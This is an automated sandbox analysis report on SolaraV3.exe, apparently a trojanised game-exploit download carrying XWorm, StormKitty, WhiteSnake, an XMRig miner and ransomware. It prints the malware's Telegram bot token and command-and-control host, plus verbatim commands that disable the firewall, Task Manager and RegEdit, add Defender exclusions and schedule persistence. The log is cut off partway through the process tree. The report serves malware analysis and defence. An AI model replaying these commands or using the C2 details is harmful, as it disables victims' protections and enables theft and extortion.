Overview

overview

10

Static

static

3

SolaraV3.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    699s
  • max time network
    730s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-11-2024 18:21

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    SolaraV3.exe

  • Size

    3.9MB

  • MD5

    049b4bc7787ad8a51742c70aeeebcd1e

  • SHA1

    f9dde99a75d0f743a3e57c75d4f5033e6798f428

  • SHA256

    28fd006eb1262eef180fbca69cf0c4bb10f56f452345f61a3e9e5addf0bcaf40

  • SHA512

    46dc5961337dd8b70f97b2fdd0569e75f51692540e004ad7f1850746d4d57d34d664108a9fdee50658f3a32a6aed538dbec7744de2c1ef79aea09e93ba2d5883

  • SSDEEP

    98304:RosZaqtF6shb3FPZVYNMH9Hoh9/g7diYEDZsGIQsj6JPkCeMQMaKfTLkzkS:esZaGdb3FPZbJqAdibDZsGIQsj6JsCeP

Score
10/10
gurcustormkittyxmrigxwormbootkitdiscoveryevasionexecutionminerpersistenceprivilege_escalationransomwareratspywarestealertrojanupx

Malware Config

Extracted

Family

xworm

Attributes
  • Install_directory

    %AppData%

  • install_file

    explorer.exe

  • telegram

    https://api.telegram.org/bot8013268995:AAHt5-BJsAIEM9hnoTy17y1WYC4NnCMU398/sendMessage?chat_id=5405936031

Extracted

Family

gurcu

C2

https://api.telegram.org/bot8013268995:AAHt5-BJsAIEM9hnoTy17y1WYC4NnCMU398/sendMessage?chat_id=5405936031

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detect Xworm Payload 2 IoCs
  • Gurcu family
    gurcu
  • Gurcu, WhiteSnake

    Gurcu aka WhiteSnake is a malware stealer written in C#.

    stealergurcu
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
    evasiontrojan
  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 1 IoCs
  • Stormkitty family
    stormkitty
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • UAC bypass 3 TTPs 1 IoCs
    evasiontrojan
  • Xmrig family
    xmrig
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 9 IoCs
    miner
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Using powershell.exe command.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Disables RegEdit via registry modification 2 IoCs
    evasion
  • Disables Task Manager via registry modification
    evasion
  • Drops file in Drivers directory 3 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 27 IoCs
  • Loads dropped DLL 11 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Uses the VBS compiler for execution 1 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Blocklisted process makes network request 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 49 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 9 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in System32 directory 4 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Suspicious use of SetThreadContext 3 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 21 IoCs
  • Launches sc.exe 9 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 58 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 12 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 3 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 2 IoCs
    evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\SolaraV3.exe
    "C:\Users\Admin\AppData\Local\Temp\SolaraV3.exe"
    1⤵
    • Checks computer location settings
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3356
    • C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.23.exe
      "C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.23.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4996
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd" /c ipconfig /all
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3892
        • C:\Windows\system32\ipconfig.exe
          ipconfig /all
          4⤵
          • Gathers network information
          PID:680
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd" /c wmic nicconfig where (IPEnabled=TRUE) call SetDNSServerSearchOrder ("1.1.1.1", "1.0.0.1")
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2332
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic nicconfig where (IPEnabled=TRUE) call SetDNSServerSearchOrder ("1.1.1.1", "1.0.0.1")
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1324
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\node-v18.16.0-x64.msi" /qn
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4900
      • C:\ProgramData\Solara\Solara.exe
        "C:\ProgramData\Solara\Solara.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:4676
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\stfu_av.bat" "
      2⤵
      • Drops file in Drivers directory
      • Suspicious use of WriteProcessMemory
      PID:1736
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:4824
        • C:\Windows\system32\net.exe
          net session
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1388
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            4⤵
              PID:4012
          • C:\Windows\system32\netsh.exe
            netsh advfirewall set allprofiles state off
            3⤵
            • Modifies Windows Firewall
            • Event Triggered Execution: Netsh Helper DLL
            PID:4172
          • C:\Windows\system32\reg.exe
            reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d 1 /f
            3⤵
            • Disables RegEdit via registry modification
            PID:1792
          • C:\Windows\system32\reg.exe
            reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskmgr" /t REG_DWORD /d 1 /f
            3⤵
              PID:3572
            • C:\Windows\system32\timeout.exe
              timeout /t 3 /nobreak
              3⤵
              • Delays execution with timeout.exe
              PID:4732
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\XStill.exe'
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4424
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /Create /F /TN "XStill" /SC ONLOGON /TR "C:\Users\Admin\AppData\Local\XStill.exe" /RL HIGHEST
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2412
          • C:\Users\Admin\AppData\Local\XStill.exe
            "C:\Users\Admin\AppData\Local\XStill.exe"
            2⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3364
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\9a0336eb-215c-42f3-9cf9-9f428cb6b62f.bat"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4012
              • C:\Windows\system32\chcp.com
                chcp 65001
                4⤵
                  PID:5072
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /PID 3364
                  4⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1428
                • C:\Windows\system32\timeout.exe
                  timeout /T 2 /NOBREAK
                  4⤵
                  • Delays execution with timeout.exe
                  PID:1980
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\XClient.exe'
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:832
            • C:\Windows\System32\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /Create /F /TN "XClient" /SC ONLOGON /TR "C:\ProgramData\XClient.exe" /RL HIGHEST
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:60
            • C:\ProgramData\XClient.exe
              "C:\ProgramData\XClient.exe"
              2⤵
              • Modifies Windows Defender Real-time Protection settings
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • UAC bypass
              • Disables RegEdit via registry modification
              • Checks computer location settings
              • Executes dropped EXE
              • Adds Run key to start application
              • Enumerates connected drives
              • Sets desktop wallpaper using registry
              • Suspicious use of SetThreadContext
              • Checks processor information in registry
              • Enumerates system info in registry
              • Modifies registry class
              • Suspicious behavior: AddClipboardFormatListener
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              • System policy modification
              PID:2604
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\XClient.exe'
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2904
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1240
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\explorer.exe'
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2572
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'explorer.exe'
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2784
              • C:\Windows\System32\schtasks.exe
                "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "explorer" /tr "C:\Users\Admin\AppData\Roaming\explorer.exe"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1944
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" Get-MpPreference -verbose
                3⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:376
              • C:\Windows\system32\sc.exe
                "C:\Windows\system32\sc.exe" qc windefend
                3⤵
                • Launches sc.exe
                PID:4112
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                3⤵
                  PID:1128
                • C:\Windows\system32\whoami.exe
                  "C:\Windows\system32\whoami.exe" /groups
                  3⤵
                    PID:2928
                  • C:\Windows\system32\net1.exe
                    "C:\Windows\system32\net1.exe" start TrustedInstaller
                    3⤵
                      PID:3884
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" grand-vg.gl.at.ply.gg 9519 <123456789> A316B8827BD510A39D90
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:1128
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -c explorer shell:::{3080F90E-D7AD-11D9-BD98-0000947B0257}
                        4⤵
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        PID:3656
                        • C:\Windows\SysWOW64\explorer.exe
                          "C:\Windows\system32\explorer.exe" shell::: -encodedCommand MwAwADgAMABGADkAMABFAC0ARAA3AEEARAAtADEAMQBEADkALQBCAEQAOQA4AC0AMAAwADAAMAA5ADQANwBCADAAMgA1ADcA -inputFormat xml -outputFormat text
                          5⤵
                          • System Location Discovery: System Language Discovery
                          PID:756
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --disable-3d-apis --disable-gpu --disable-d3d11 "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data"
                        4⤵
                        • Enumerates system info in registry
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                        • Suspicious use of FindShellTrayWindow
                        PID:4388
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffdfde846f8,0x7ffdfde84708,0x7ffdfde84718
                          5⤵
                          • Checks processor information in registry
                          • Enumerates system info in registry
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4976
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2036,1017153988690127690,12126352813266889058,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2060 /prefetch:2
                          5⤵
                            PID:1140
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2036,1017153988690127690,12126352813266889058,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --mojo-platform-channel-handle=2168 /prefetch:3
                            5⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:216
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2036,1017153988690127690,12126352813266889058,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --mojo-platform-channel-handle=2604 /prefetch:8
                            5⤵
                              PID:3584
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,1017153988690127690,12126352813266889058,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3264 /prefetch:1
                              5⤵
                                PID:4348
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,1017153988690127690,12126352813266889058,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:1
                                5⤵
                                  PID:4024
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,1017153988690127690,12126352813266889058,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4684 /prefetch:1
                                  5⤵
                                    PID:2656
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,1017153988690127690,12126352813266889058,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4768 /prefetch:1
                                    5⤵
                                      PID:4576
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2036,1017153988690127690,12126352813266889058,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --mojo-platform-channel-handle=3392 /prefetch:8
                                      5⤵
                                        PID:232
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2036,1017153988690127690,12126352813266889058,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --mojo-platform-channel-handle=3392 /prefetch:8
                                        5⤵
                                          PID:4364
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,1017153988690127690,12126352813266889058,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3920 /prefetch:1
                                          5⤵
                                            PID:3448
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,1017153988690127690,12126352813266889058,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:1
                                            5⤵
                                              PID:8
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2036,1017153988690127690,12126352813266889058,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2072 /prefetch:2
                                              5⤵
                                                PID:4168
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2036,1017153988690127690,12126352813266889058,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2024 /prefetch:2
                                                5⤵
                                                  PID:3680
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2036,1017153988690127690,12126352813266889058,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=2372 /prefetch:2
                                                  5⤵
                                                    PID:4924
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2036,1017153988690127690,12126352813266889058,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=5332 /prefetch:2
                                                    5⤵
                                                      PID:2508
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2036,1017153988690127690,12126352813266889058,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=3632 /prefetch:2
                                                      5⤵
                                                        PID:4168
                                                  • C:\Windows\System32\taskkill.exe
                                                    "C:\Windows\System32\taskkill.exe" /im ngrok.exe /f
                                                    3⤵
                                                    • Kills process with taskkill
                                                    PID:836
                                                  • C:\Users\Admin\AppData\Local\Temp\ngrok.exe
                                                    C:\Users\Admin\AppData\Local\Temp\ngrok.exe config add-authtoken False
                                                    3⤵
                                                    • Executes dropped EXE
                                                    • System Location Discovery: System Language Discovery
                                                    PID:4780
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\How To Decrypt My Files.html
                                                    3⤵
                                                    • Enumerates system info in registry
                                                    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                    • Suspicious use of FindShellTrayWindow
                                                    • Suspicious use of SendNotifyMessage
                                                    PID:3896
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
